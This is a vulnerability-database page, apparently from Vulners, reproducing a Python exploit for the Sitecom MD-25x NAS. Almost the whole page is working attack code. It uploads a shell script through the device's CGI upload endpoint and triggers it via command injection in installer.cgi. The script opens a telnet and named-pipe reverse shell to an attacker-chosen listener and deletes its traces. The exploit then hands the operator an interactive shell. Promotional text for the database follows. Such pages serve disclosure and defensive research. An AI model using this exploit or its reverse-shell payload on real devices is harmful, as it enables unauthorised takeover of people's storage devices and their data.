Lucene search
K

Sitecom-MD-25x

🗓️ 05 Jan 2015 11:45:53Reported by Mattijs van OmmerenType 
exploitpack
 exploitpack
👁 23 Views

Sitecom-MD-25x vulnerability exploit with reverse shell script injection and remote listener setu

Code
import sys
import os
import socket
import thread
import datetime
from optparse import OptionParser
 
upload_url = '/cgi-bin/upload'
cmd_inj_url = '/cgi-bin/installer.cgi?SetExecTable&%s'
sh_name = 'revsh'
 
sh_script = """
#!/bin/sh
mknod /tmp/backpipe p
telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe
# clean up our mess
rm -f /tmp/backpipe
rm -f /tmp/%s
""".rstrip('\r')
 
headers = """Host: %s\r
User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: en-us,en;q=0.5\r
Proxy-Connection: close\r
Referer: http://%s/firmware.htm\r
Cookie: language=en;\r\n"""
 
class Exploit:
 
    def stdin_thread(self, sock):
        try:
            fd = sys.stdin.fileno()
            while True:
                data = os.read(fd, 1024)
                if not data:
                    break
                while True:
                    nleft = len(data)
                    nleft -= sock.send(data)
                    if nleft == 0:
                        break
        except:
            pass
        sock.close()
        self.running = False
 
    def stdout_thread(self, sock):
        last = datetime.datetime.now()  
        try:
            fd = sys.stdout.fileno()
            while True:
                if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):
                    sys.stderr.write('# '); # Insert fake prompt
                last = datetime.datetime.now()
                data = sock.recv(1024)
                if not data:
                    break
                while True:
                    nleft = len(data)
                    nleft -= os.write(fd, data)
                    if nleft == 0:
                        break
        except Exception as e:
            print e
            pass
        sock.close()
        self.running = False
 
    def parse_options(self):
        parser = OptionParser(usage="usage: %prog [options]")
        parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname", 
            help="Specify the host to connect to")
        parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip", 
            help="Target IP for reverse shell connection")
        parser.add_option("-p","--port",action="store",type="int",dest="port",
            help="TCP port for the reverse shell connection")
 
        parser.set_defaults(hostname=None, listener_ip=None, port=7777)
        (options, args) = parser.parse_args();
 
        if(options.hostname == None):
            sys.stdout.write("Remote hostname/IP required\n")
            parser.print_help()
            sys.exit()
         
        #self.forced_bind = (options.listener_ip != None)
        self.listener_ip = options.listener_ip      
        self.hostname = options.hostname
        self.port = options.port
 
    def start_local_listener(self):
        self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,  1)
 
        try:
            self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
        except socket.error:
            sys.stderr.write("[-] Unable to set TCP_NODELAY")
         
        try:
            self.serv.bind((self.listener_ip, self.port))
        except:
            print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall."      
            try:
                self.serv.bind(('', self.port))
            except:
                print "[-] Unable to bind to default address. Aborting."
                sys.exit(2)
 
        print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port)
             
        self.serv.listen(5)
        self.clientsock, addr = self.serv.accept()
        print "[*] Incoming connection from %s:%s" % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1])
        self.clientsock.send('/bin/busybox uname -a\n');
        banner = self.clientsock.recv(2048)
        if (banner.find('Linux'))>=0:
            print "[*] W00t W00t, got shell!\n\n%s\n" % banner      
        thread.start_new_thread(self.stdin_thread, (self.clientsock,))
        thread.start_new_thread(self.stdout_thread, (self.clientsock,))
         
    def connect_socket(self):
        print "[*] Connecting..."
        try:
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.connect( (self.hostname, 80) )
            if not self.listener_ip:
                self.listener_ip = self.socket.getsockname()[0]
            print "[*] Connected to %s (%s) " % (self.hostname, self.socket.getpeername()[0])
        except Exception as inst:
            print inst
            print "[-] Unable to connect"
            sys.exit(2)
             
    def upload_payload(self):
        print "[*] Uploading payload\n"
        try:
            self.socket.send('POST %s HTTP/1.1\n' % upload_url)
            self.send_headers()
            ct = 'Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n'
            begin_file='-----------------------------41184676334\r\n\
Content-Disposition: form-data; name="file"; filename="%s"\r\n\
Content-Type: application/octet-stream\r\n\r'
            end_file='\r\n-----------------------------41184676334--\r\n'
            pl = ''.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name)
            cl = 'Content-Length: %s\r\n\r\n' % (len(pl))
            crlf = '\r\n'
            data = ''.join([ct,cl,pl,crlf])
            self.socket.send(data)
            if self.socket.recv(2048).find("200 OK")>=0 and self.socket.recv(2048).find('/tmp/'+sh_name)>=0:
                print "[*] Payload succesfully uploaded"
                self.socket.close()
            else:
                print "[-] Unexpected response. Trying to proceed anyway."             
        except:
            print "[-] Error uploading payload. Aborting."
            sys.exit(2)
             
    def send_headers(self):
        data = headers %(self.hostname, self.hostname)
        self.socket.send(data)
     
    def execute_payload(self):
        print "[*] Executing payload"
        cmd = '/tmp/' + sh_name
        req = 'GET %s HTTP/1.1\r\n' % (cmd_inj_url % cmd)
        cr = '\r\n'
        self.socket.send(''.join([req,cr])) 
        self.send_headers()
        if self.socket.recv(2048).find("200 OK")>=0:
            print "[*] Finished executing payload"
        self.socket.close()
 
    def run(self):
        self.line_buf = ''
        self.prompt = False
        self.parse_options()
        self.connect_socket()
        thread.start_new_thread(self.start_local_listener, ())
        self.upload_payload()
        self.connect_socket()
        self.execute_payload()
        print "[*] Waiting for reverse shell connection"
        self.running = True
        while self.running:
            pass
         
exploit = Exploit()
exploit.run()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation